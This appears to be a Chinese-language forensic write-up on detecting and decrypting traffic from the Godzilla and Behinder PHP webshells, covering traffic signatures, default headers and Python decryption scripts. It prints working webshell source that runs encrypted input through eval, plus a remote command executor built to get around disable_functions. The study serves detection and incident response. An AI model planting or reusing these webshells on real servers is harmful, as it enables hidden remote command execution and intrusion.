text = "9dc6aa19a0e77159L7s7ZDFkZjIyZgegv73aASC23Jcl9ZDk1rG/KJ49eUM3OXvw4V/Fj4MpgLQTT/DjfkfTjYb4ZuGR8CJG2oxkXKdPCFcqvU7N57pQ7ZHNVA9LeiXwD/dPw23nekq3asgFIZzhrpmiKL4X10SO+k8XjrnPdIim37oNRrG9n2vM/baS5xcaTB2X7T1OXb32VIemf8HHvWoRPGFbum/hNF7Hh+1Kdt76ak9snLJnlBylPPAcuCQtIbvDDhlrQnn3agzKji09Xc/luYDQntBsw1gPO0HUmIkXuXnCFBLGeO+M6ttb0kt6daW1b+pKFR1sb229r6WCE09PUb2O/3tGgCcPpJwcYLaJ0D95F1twdw/VztlpFtsxeI6gZmTPfHPZlur5LAy14ay1h2IYgY4s0tQORbSoY854KenvW0f3qDieoR1hjLtyYIb/uYMx1oNAZYyY91T236uG8OoBpYLBm4qFTIZK7N1ncD/UBHYcJHlNRke2VxjcphutQ4upVRRQnqAN5bk+aEc7CIAPBVrZRGo0STNp+anuyjNBHbLIlqIfTdx6x0PGH0BN3eSUSBYzt8sGn5xut2pXhJ0G8G1eRKDTqRTyMqxlwgOLa1pmd1ot48UtrvIaTZQ28QpQ3XDOKtnVygXxkZJnZwH71WmLsTgkNTBKsW6US/4B88k5bVbsQWT7JZrVEZlW9XIr8qb55LpsNkxwdNraDn2Zq/swX3A4tjb8V7/oX/ywlw0hDgqCaex/CjnOgsdAHBUz7QdL3ghj7A1qAl5jlklIhpDwACz+eCI3YKuc97DKpfhCVMEHfQyBJLJHS6X3MOV/oWU/sljH1fzhQ0Vhd2fEtzBgEambYznUBa/RVRYxeVAIWO/9/KUhm6eYcZt+F6NdeJ/9D5kL75JP+ZDSMEp+7wwT5ZN1lXeqof4CLTdzKSvlf+DdVz4aqVtdzNXlLlXH82FbmrynWtQlaE5TH87Isa6ZIW+YsZwhyxEBiW7qYht6FsdZ7jD/rKbS6Yl/aUAXTBW4Y7eh5k2oYwHAx2q+G379ibJitsfdhD/CYvsbphflIR7MOUj+aBlWNGRm5b7a4790a1611dea" # 示例输入
key = "9003d1df22eb4d38"
# 提取 MD5 和 Base64 数据
md5_first, base64_data, md5_last = split_md5_and_base64(text)
print("MD5 First 16 bytes:", md5_first)
print("MD5 Last 16 bytes:", md5_last)
# 解密中间的 Base64 数据
decoded_base64_data = base64.b64decode(base64_data) # 解码 Base64 数据
decrypted_data = XOR(decoded_base64_data, key) # 解密
# 输出解压和解密后的数据
pretty_print_data(decrypted_data)

站在中间人的视角,密码与密钥是分开的,一些安全设备就无法获知数据内容
特征1:请求体只有一个参数与值,参数是密码,值是传递的命令

特征2:请求头中有哥斯拉默认的请求头

特征3:哥斯拉首次连接后会返回cookie,以后的头都带有此cookie

特征4:返回体固定格式 md5前十六位+base64+md5后十六位

Godzilla4.0.1 PHP (php_xor_raw)
webshell文件,只有密钥,没有密码,密码通过php://input接收输入
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='99024280cab824ef';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
请求包没有参数,只有值

解密需要密钥,密钥在webshell中,需要到服务器上去下载webshell,提取密钥
提取wireshark的data数据


解密脚本
import gzip
from io import BytesIO
def encode(data, key):
data = bytearray(data)
key = bytearray(key.encode('utf-8'))
for i in range(len(data)):
c = key[(i + 1) & 15] # 循环使用密钥
data[i] ^= c
return bytes(data)
def decode(encrypted_data, key):
return encode(encrypted_data, key)
def is_gzip(data):
# 判断数据是否是gzip格式
return data[:2] == b'\x1f\x8b'
# 密钥
key = '99024280cab824ef'
# 单一的十六进制字符串(可能是加密或压缩数据)
encrypted_hex = '5455465c5d5c7e020c073a363465664d5c4346'
# 将十六进制字符串转换为字节
encrypted_data = bytes.fromhex(encrypted_hex)
# 解密数据
decrypted_data = decode(encrypted_data, key)
# 如果数据是gzip压缩格式,则解压缩
if is_gzip(decrypted_data):
with gzip.GzipFile(fileobj=BytesIO(decrypted_data)) as f:
decompressed_data = f.read()
print("\n解压缩后的数据:")
print(decompressed_data.decode('utf-8', errors='ignore'))
else:
print("解密后的数据(未压缩):")
print(decrypted_data.decode('utf-8', errors='ignore'))

返回包
返回包内容如果过长,wireshark会分两段显示,需要拼接两段的hex进行解密


总结:
特征1:数据包内容为字符串形式,没有参数,直接跟值

特征2:请求头中有哥斯拉默认的请求头

特征3:哥斯拉首次连接后会返回cookie,以后的头部都带有此cookie

冰蝎(PHP)
Behinder4.1 PHP(default)
Behinder_v4.1.t00ls
默认的php shell长这样,shell连接密码为md5的前16位
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
- 本地对Payload进行加密,然后通过POST请求发送给远程服务端;
- 服务端收到Payload密文后,利用解密算法进行解密;
- 服务端执行解密后的Payload,并获取执行结果;
- 服务端对Payload执行结果进行加密,然后返回给本地客户端;
- 客户端收到响应密文后,利用解密算法解密,得到响应内容明文。

冰蝎默认的php使用AES CBC加密

解密脚本,获取到被上传到服务器上的key,填充偏移0123456789abcdef,提取密文为ascii格式

import re
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
base64_encrypted_text = 'dnI5dnd2a2pDRHJkZ2pnYWR3VDM4ZjZZamg1WGtvaVNpVTB0YjRGUjE0SnZpZE9mdVdPd2gySWVoekRIRU5iaHJ0M0NkVDBKQ2RsanZFNGpuNnRaanF6TkNpb25EdjZVYjB5WGs1NTNHM1JBdkdrUGdCOFl3Y1F2aTNKN05FU2x2MHZianJrOEk4R01nVnUydWZldHBkYVVrd1VEVWZpUUNqN21FNG96bDZqTEFyRUhSNlRsUVZoTHRUUHhJbnNWZW5EQVlEVGlyb09DTkFuSnA2TndsM0I0OFVkdXpMNGlMcWx0VERXMGZqN3JiWDZLVk5UUU1tZHh5NGY4YnVoSlFXOU5kQ3d5TDdtazh5QWVoSHdxbEF5RHVOWFJZZktsNllrdlFyNU5ReGE2UUN0T25Kb09uR1JWNHQ3YXF5UGVFV09qMTV3ekd0Mm56WUo2S25OS2M1YTEyS3JSbEFsZVMzdnJqVXpOYVRxclIwanlYUktycGs1TTR1SWZYYW5FenFxNE5oVU9zOTg3TzdDMnlQeE5UdWJoMFNyRUwzcjFLSUFPWUU1OHYyaU54SGRtUnJVUTJtUlB6SHdhRHdYakdzMVgyYnEyRldKdFVFdXlqS1NrMWRlVGc3ZFBpaTJCelM1SVJ2MUJsZFlGY0lsVUVBOG1DaGtiSzRqTjhOdHN2eGtmOWRmWjBIcndUWFYxQXI4blhQYjRqMkYzQUMwVExuelF4REJOekt3SVUwbnd3anMwUTB4MjJnRWd5ZTRWMnFqeUdYYUVMZHVKblRIS21hYnA0cjNRRkczT0Jwd0FwaEVib1ZhMkpVTUtmcHg5SkFGbTM3ck5GMWhqYWZVeW5XZVJLNGJtaVZNUnJONnlqVk5OWXlYVHVMd2x2N1NDMXdZRjZOSDdSS1NicG9aa2hHOXJKOVIzbmFsYUdCVmV3aUhWc0szb045cFVUdmdpWnVucHhuZ2VqYW1iN1d1a3VHdlhsUkt2b3V6Q3JVbUFRWUNhdUJTbG50aGd3bjdTZndjTzdlbFBtZm1qRDA0NHhJM3dHT2VzbHMyQTltZVA0N2NVWmlwUjhUaEpObUVZM0hvTDVFeUVEN2dCc3lTMnIzS0hkc3F2Z0NzeHJYVTdqWlBYdnFGMEVZVWxidldlVmV6VGY4eUFYMDR1Z1dqWE02QnVLeE13ajdZM0FoRmJBV0ozUGdicHc0eU1MSjZ5aDg2eFkwWlJTVlBSdVFiSUQ5V3hkM0VNYmlZaktienAwWE9TSDBqZ25laDVkZVM2Q1A5Wmt4dzREbzJWWUJmVFBkb0pyU3FqWlRrdG1vamw4cEVPSTdnc09HQ09WVzVWRDNYUGNZZXJSWEJOdGM5dU10N0c2U2l3SGl0UE83VjNZMWx3STNBMXFqSVdCTkxrTmZ6VmE0bVZsYVlNeGNGeU1mc2Jxd3h4TU02Vk02elBXQmZ3MGdDZ0R5RFUxUUt0eW9UeWMxYXl5R0pxZ1dyS1dMMGY0Rnluc3lFN216dm1ldHJ0UmE3MVFRdnBLWXN5Y0ExTXphOHZIZEFEbWpBTVJlUnpwdVNVMXNma3d5TjFodUtBcHF6WHhuUmc3T3NPWWF3NjFsRXc1SU0zbGplb3VUdHJCT1hQc21mU0ZlVGZzanoySHNTZVZKZ0xicXg4M3I2cGtvYlVFZGtTUUNCTmwxQWwzMmhuS2x4b2NVejdGdTNpY0ppVHdTMlBtTUNTYnpYNTlEMTZGTGMyV3ViTU9TVDVweGVOSzVYSHpKYXI3SFFiWE9XZkpzZDBnd1JrTnFZZVR3V3Y4R1RHNUEzeUNPRkdOM1ZVbFNyeWNwbVphV1E3SVNVdlZqMHlTZEJQWmRrU1ozdmdRN09MQjhMeUNZa1gwU29WejBtbk1sNHl2ZUpWOU9FZXZLNkgxa0tJZDRQNnJrc1FmcmRVYThPMmczbjU3b0U1THJLS0lpZEtpSTlEZlVVcFFaZHRFaUVhRXo0S1JpY1hSTVhrd081M3JQZXlDQUdSem9IblI3WXZLMHkzWHd2dEtOMVhFSnhYclhVZk5JYlhad1pBRHJ0RlpxQ1dMb1JjbUtRZ2FlbHFWMmdjZmhxak5jdnlaSmFKMjNMZkgwMzQ0VEJFSmVPMW9HN3hhWndyNnoySWpsNXlSRng3U2c0TUVRMDFHOHNWRDlacHBsdmdidE5nV0N3UVRzeThJSjZmcHc3SnZPRFRIYWthV210TVpkRzB4OVVZQ2ZNZjgxaklGQjNZUzNWbzlMZFBVSnVYMXZkUUc1S1IyOFE0UjdvcERoem1IM1pXU3NmVTdsbkZZektSTnpRb3dmRGRUWXVocUZSRzB1UWJwclV4NGV0NUh5b1BRWG4xVW1GSXQ1MXpGQ0oySkloQXNJY2xoNW42WG9hYXp3WUdDYlNQMk5lTjdjUWxraG52Nk9IOEFQYTdHa09IcURYZDNGaHp3VDBWUGNrSmhLU2NkWE1DdDlxS0RwWUMzSHYxZ2lWVDVqUmd3U3ZHQ1Y1WkdaQTc0VTM0WUFUOXhuV1l5V0ZCSms5UWhtTjk4ZE9oRFlMSU50MVUyeXlFM3hZS0FKbUNFaGhUQmI4WnFyUWhuNDlQaVlibVRsbG90UzRzd1BWcmtpZ2ZKWDdIZVB3UUp4aHVaQ0lubUM0c2V4SkhpN0VuaHJnU2tFWG81b01rTVRMaWFFTldPUkZNMzcyTmZyb3lReHNZcXExYmh5OVU0WGpCb3NZWDI2NTRvdExwUDk5cWdVVHlNSGd4bjV6cGRqM25GR3ZMcnBaRzh0Y0FxYnZUOXRMdm00aWIzb1FEWURkNVdUQUZZakRVbmdxNUQzaWVZTG9SdnUzY2U0NEZTbVRsN3p4eGdNakNwV1NWcVVqdVh1MVpQSnVqQUh4ZTNhTnpHTlMwMlFtREtSVW1JZDdJYlQzTDlZRHhEMVYySlhtd01Za3I3bkFBc0R0ZjJrMkM2djR1MWZNMVhrSHVadG5DeG1EdDAxMTdkcXlJdGYxNVg1eWRnRE9rWXRPNWFDVGp4TW91OHN1TTdUYlN6R1U2S0M0cThZNXlVdkZrdGVqaFVPTXFyUTh2VUtHdU91REJydnBncVYzcHRxd2xnRDZyVmlkTlVBN2xZWVFrUkJwR2EzNmd0SHlXcHdWT3dHQVc1TU1XN2FYWTE2b2RwY2VKOTBObEVhMk5ZeEFSN3BsZHd5THBYcWJBZEcybU5mcFdpbjZBNm81SG9TSzcyc0lzc1JZcXNWR2lZVDJXaXM0R3ZmbzFUU21tVjRhT3pWU3psWloybEZnZ0NObjM0R1hrNDRVbWpXamk2TGgyclczcW5uaVFqVFhZaThxWUptYVVuSFBHVDZJbkJQUU1WSWRHSHF2cHppc21VUjhVWUU1aENhSmNYaUpkZklyek16NE9TbGJHN3F0amhOSlBjVG40ZFkySHJjWDVCcjBHY1Z0eDg3UnpMNzRIa2s1SUloWDAzZkprZ0NaNkpqQlFURTVNUzBNVjhDWTJ4bHBtTVRvZmFwNlR5QUxxeUt6Qnl1bzFNbElBN25PcG5SRTdWbjJaTkZVdUdURTl0c1pmMmtiUXhYcnRVSXU4MVhra0V5d2F3MWVZODNrM2dNcWxMWQ=='
# 修正Base64填充
def fix_base64_padding(base64_str):
# 补充base64填充字符
padding_needed = len(base64_str) % 4
if padding_needed:
base64_str += "=" * (4 - padding_needed)
return base64_str
# 解密步骤
def decrypt_aes_cbc(base64_encrypted_text, key, iv):
# 修正Base64填充
base64_encrypted_text = fix_base64_padding(base64_encrypted_text)
# base64解密
encrypted_data = b64decode(base64_encrypted_text)
# 初始化AES解密器
cipher = AES.new(key.encode('utf-8'), AES.MODE_CBC, iv.encode('utf-8'))
# 解密并去除填充
decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
# 返回解密后的数据
return decrypted_data.decode('utf-8')
# 提取Base64字符串并解码
def extract_and_decode_base64(decrypted_text):
# 正则表达式提取Base64字符串
base64_pattern = r'[A-Za-z0-9+/=]{10,}' # 基本的Base64格式
base64_matches = re.findall(base64_pattern, decrypted_text)
decoded_data = []
for base64_str in base64_matches:
try:
# 修复Base64填充并解码
base64_str = fix_base64_padding(base64_str)
decoded_data.append(b64decode(base64_str).decode('utf-8'))
except Exception as e:
print(f"解码错误: {e}")
decoded_data.append(None)
return decoded_data
# 设置AES密钥和IV
key = 'e45e329feb5d925b'
iv = '0123456789abcdef'
# 调用解密函数
decrypted_text = decrypt_aes_cbc(base64_encrypted_text, key, iv)
# 提取并解码Base64字符串
decoded_base64 = extract_and_decode_base64(decrypted_text)
# 格式化输出解码内容
print("解密后的内容:")
print(decrypted_text)
print("\n解码后的Base64数据:")
for index, data in enumerate(decoded_base64):
if data is not None:
print(f"Decoded Data {index + 1}:")
print(data)
print("-" * 80)
else:
print(f"Decoded Data {index + 1}: 解码失败")
print("-" * 80)
输出的内容,这个包主要是密钥协商的部分,后面的 $content为填充物,无效数据,目的是为了绕过Content-Length。

首个返回包,其中,msg内容为$content内容,无效

第二个请求包,代码涉及了几个方面的功能,包括获取系统信息、网络信息、设备信息
@error_reporting(0); // 禁用错误报告
// 主函数,处理输入并返回加密的系统信息
function main($whatever) {
$result = array(); // 初始化结果数组
ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean(); // 获取PHP配置信息
$driveList = ""; // 初始化磁盘驱动器列表
// 检查操作系统类型,Windows 和 Linux 的处理方式不同
if (stristr(PHP_OS, "windows") || stristr(PHP_OS, "winnt")) {
for ($i = 65; $i <= 90; $i++) {
$drive = chr($i) . ':/'; // 构造驱动器路径
file_exists($drive) ? $driveList = $driveList . $drive . ";" : ''; // 检查驱动器是否存在
}
} else {
$driveList = "/"; // Linux 系统下的默认驱动器
}
// 获取当前工作目录
$currentPath = getcwd();
// 获取操作系统信息和架构信息
$osInfo = PHP_OS;
$arch = "64";
if (PHP_INT_SIZE == 4) { // 判断系统架构是32位还是64位
$arch = "32";
}
// 获取本地 IP 地址
$localIp = gethostbyname(gethostname());
if ($localIp != $_SERVER['SERVER_ADDR']) {
$localIp = $localIp . " " . $_SERVER['SERVER_ADDR']; // 比较本机 IP 与服务器 IP
}
// 获取额外的内网 IP 地址
$extraIps = getInnerIP();
foreach ($extraIps as $ip) {
if (strpos($localIp, $ip) === false) {
$localIp = $localIp . " " . $ip; // 将内网 IP 加入本地 IP 列表
}
}
// 将收集到的信息进行 Base64 编码
$basicInfoObj = array(
"basicInfo" => base64_encode($info),
"driveList" => base64_encode($driveList),
"currentPath" => base64_encode($currentPath),
"osInfo" => base64_encode($osInfo),
"arch" => base64_encode($arch),
"localIp" => base64_encode($localIp)
);
// 将结果编码为 Base64 并返回
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(json_encode($basicInfoObj));
// 输出加密后的结果
echo encrypt(json_encode($result));
}
// 获取局域网 IP 地址
function getInnerIP() {
$result = array(); // 初始化结果数组
// 检查是否启用 exec() 函数
if (is_callable("exec")) {
$result = array();
exec('arp -a', $sa); // 执行 arp -a 命令,列出 ARP 表
// 解析 ARP 输出,提取出 IP 地址
foreach ($sa as $s) {
if (strpos($s, '---') !== false) {
$parts = explode(' ', $s);
$ip = $parts[1]; // 获取 IP 地址
array_push($result, $ip); // 将 IP 地址加入结果数组
}
}
}
return $result;
}
// 加密函数,使用 OpenSSL 或异或方式加密数据
function Encrypt($data) {
@session_start(); // 启动会话
$key = $_SESSION['k']; // 获取会话中的密钥
// 如果没有 OpenSSL 扩展,使用异或加密
if (!extension_loaded('openssl')) {
for ($i = 0; $i < strlen($data); $i++) {
$data[$i] = $data[$i] ^ $key[$i + 1 & 15]; // 异或加密
}
return $data;
} else {
// 使用 OpenSSL 进行 AES128 加密
return openssl_encrypt($data, "AES128", $key);
}
}
// 填充物
$whatever="UUxxUWE5bkpvYzQ4WVVSU2hXWVlLQ2xCTGdxTHpra2tBY2phYkRnUWpvdXRib0JER3cwTHRyV01SZkFWYzh2T3ZCdzhuUHhTVU83OVcySDZmTTJBWER1eUZUWTF6RDF3bTVaREV4OU1Ud3AybHMydnRZTGFmcE5PSEhHejBtZVdvVGFDalo1SnhFM2FhUDU2QnhrSlluVVNlbFNkMXFHUDZ2SkIwMGJ5dnB2YmxLQ1hxTTByV0R5Q0ROUkVpVFRzOHk2QnhSalhZVnRvUWVqaHByMkF0MHh2dGZpZUpxU3hWNDBuc28xYkcwOHVxV0ZDUmpKc3Z5dkJCcEZ2MWlseG5ITjlYQnpUaXBXQlFoRDBCRWRLbzREQ0lqMW9wczVWQzF0SkVEbjNyWnpVMnp6SXFiVkZ6MUNFaHJRNXBkeENuWVM4Zm9XYTRreDZmcFViM3lyS0pyVWp5S2dTUThOb0dIamN1OVpYWkZ1QXZTZG83U2hkYzlRcjlJdUVBWE5tYlNyOVE3ZXlhVXVlbFc2anBXUzR1V2RSUDdjYm1sS0h2VEk1ZFl2S2VPOXlmVDFkbkF0SDdoTmdBb3hiNG45aEp3SjhZN2JNYUw1d0VJdEJBdXVqU0w4UzViYjNCSnhydzNDWnhkNVFOY1lUTUhSOUVwcE5WOHg0b0FtQkgwOFlyeDFCamZROU8yV01KWEZxZEJ0dUpoNTY2WkhueW1lUTVVWnprTUE4M0JwY0gzd3QwT09rRW9RenowQktDc3N3NXFVUGozZE9TZndMa0ZnNXRvOE5qanE4TXBzSUpLekxmZlR4ZjZJakkzMzYyZ2VjNjVhdktnc05jNHNWTlduNndUeEJrdW1JZVRGR05UbklrVEZwZGpmQmVLbUVHNWFWUTY0Q050VDJocktiSjN4QW9yUHowQkxOTGRRcHluMllheHlYSHhweDFQR3hVdEdyQkhBSkQ0SnVhTG5HSlYxeDJVVHBJbUJVZDVBOHM2bjR5MmlxNDVJSHlzaE56aDNueFRNazhoYTdobndXRDFOV0tENEtGdnVPcUkwazVGclVMbGZPcTYxNUxSZFlTc3VmZXBUTFFGTVB0ZUJBTGV3Y0xEcUxsbEFSR2FkOG4wdDJDU1BGaE9DcFVRdG9RTVF5TFZQMkRRSkVRZXVWeHVVOFg2QmxxaXlkVWtnZVFDOXRVVUVOWTlWQkRSemJza3NKbDlYUjRHaVlEOFl3R1dmc0JjUFVJRlYwYzM5MFBMVVlkRGZyZFhlcjhrd2VTbEFjWGQ3WU9ZTkV3aTh0STF3azJjZTJzNnNBNzc4V3hDR3Y1MkVoR1h4ck01NnFBQ1hOY3lJR2JNeHF4WmlKYzFjRnVqVzMzUEo2alFvcndYelcwSEF3bjVVYlU2TEtCSDJwMWxXTlI5WGNvWEFHY3RnSThPRzh3RVNTemlTVnFuVkNvaFF0M0tEamU0aklNazhiTTdXNExLcHV6RFpXekM0dlVEU0p6QU91TEFRcFNQZDJ4d3JycE96eEJlZWpVVmw5UGZFSzlzM0tTelU1RVpiMjZhVkVBTG0zQzFxNjdERGFha01rZkpZMnJBVzllZGY0Z1BYc2NWRDhka2hDa0dqbENPUXRUVzEyeDZibFkwVWdlYnNJNU5wS1p4SGxEN2pqdzdSaEZzU0Z5UU12N0JXTFZXa1ZCY0plQll1bnlzanlBYkZpcktOY0hQQUppUmJBQ1VacWN0eDdDamMzaUZhOERtZ2hyVWFoOFB1b0JXdlRHSGpKc1pWc25zMkJQYUZPcW8xajVab2pMNzQ5N3BPekN6anNqeWZ2bFVkdmFHRTAwWXNlUmNvWGh4WFZtVjZpOFplVXRweDVBTndFWndwZ0VFZEdqNXM1Y25kZTlzb3Z6N3lYZDM5M1EzMGVOMTkyM0VCZFRJZXNjOUswYzhXdHRYNWlnbnFDS2hOdmdLMW1XOGprVXdEZFFXUFhjc2RGZkxtcmMyQVdjbHRZMmdkYXMyejlvdENSQkc3QU5nZXk1UFJpTVBXWnZQajNZWUdNeVBuaWNNU21sTWtvVmh4R2VHd3NLbk5ka0ZWQ011Qm0xcEtvSk90cXUzaTRVUUI2MnlkWlE0OXZoTjUwTmhDUjZZbkxaSmRYVlFnRThEWGdRYnU3MVQxdlR4VXZ0cTVsZ3FBTHZnalE=";$whatever=base64_decode($whatever);
main($whatever);
第二个返回包,返回包有,其中basicInfo为phpinfo,driveList为目录,currentPath为当前路径,osInfo为操作系统,arch为操作系统位数,localIp为当前ip地址

第三个请求包,主要作用是传入的命令,并返回执行结果。它主要用于远程命令执行。
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}
function Encrypt($data)
{
@session_start();
$key = $_SESSION['k'];
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}
$cmd="Y2QgL3Zhci93d3cvaHRtbC8gO2NhdCBldGMvaG9zdHM=";$cmd=base64_decode($cmd);$path="L3Zhci93d3cvaHRtbC8=";$path=base64_decode($path);
main($cmd,$path);
第三个返回包,没有返回任何东西

第四个请求包,执行了ls -la命令
<?php
// 关闭错误报告,防止暴露信息
@error_reporting(0);
/**
* 进行安全字符串转换,避免字符编码问题导致的异常
* @param string $str 输入字符串
* @return string 处理后的字符串
*/
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
/**
* 主函数:执行系统命令并返回加密结果
* @param string $cmd 要执行的命令
* @param string $path 目录路径(未使用)
*/
function main($cmd, $path)
{
@set_time_limit(0); // 取消超时限制
@ignore_user_abort(1); // 防止进程被终止
@ini_set('max_execution_time', 0); // 允许脚本无限执行
$result = array(); // 存储结果
// 获取 PHP 配置中被禁用的函数
$PadtJn = @ini_get('disable_functions');
if (!empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n"; // Windows 兼容性处理
}
// 通过不同方式尝试执行命令,避免 `disable_functions` 限制
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') && !$Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') && !$Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')), $pipes);
$kWJW = NULL;
while (!feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') && !$Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') && !$Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') && !$Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('popen') && !$Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (!feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
// 所有方法都被禁用,返回失败信息
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
echo encrypt(json_encode($result));
return;
}
// 返回成功结果,进行加密
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}
/**
* 数据加密
* @param string $data 待加密数据
* @return string 加密后的数据
*/
function Encrypt($data)
{
@session_start(); // 启动 session 以获取密钥
$key = $_SESSION['k'];
if (!extension_loaded('openssl')) { // 如果 `openssl` 扩展未启用,则使用简单的 XOR 加密
for ($i = 0; $i < strlen($data); $i++) {
$data[$i] = $data[$i] ^ $key[$i + 1 & 15];
}
return $data;
} else {
return openssl_encrypt($data, "AES128", $key);
}
}
// 解析 base64 编码的命令和路径
$cmd = "Y2QgL3Zhci93d3cvaHRtbC8gO2xzIC1sYQ=="; // base64 解码后: cd /var/www/html/ ; ls -la
$cmd = base64_decode($cmd);
$path = "L3Zhci93d3cvaHRtbC8="; // base64 解码后: /var/www/html/
$path = base64_decode($path);
// 执行命令
main($cmd, $path);
?>
第四个返回包返回ls -la命令的执行结果
总结:特征1:明文开头是 @error_reporting(0);
特征2:因为随机数的原因,每次的长度不会一样,且加密,对ids,ips等设备具备一定反制效果
特征3:Accept字段默认为application/json, text/javascript, /; q=0.01。Content-type 为:application/x-www-form-urlencoded。使用长连接,Connection为Keep-Alive。内置ua头
"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
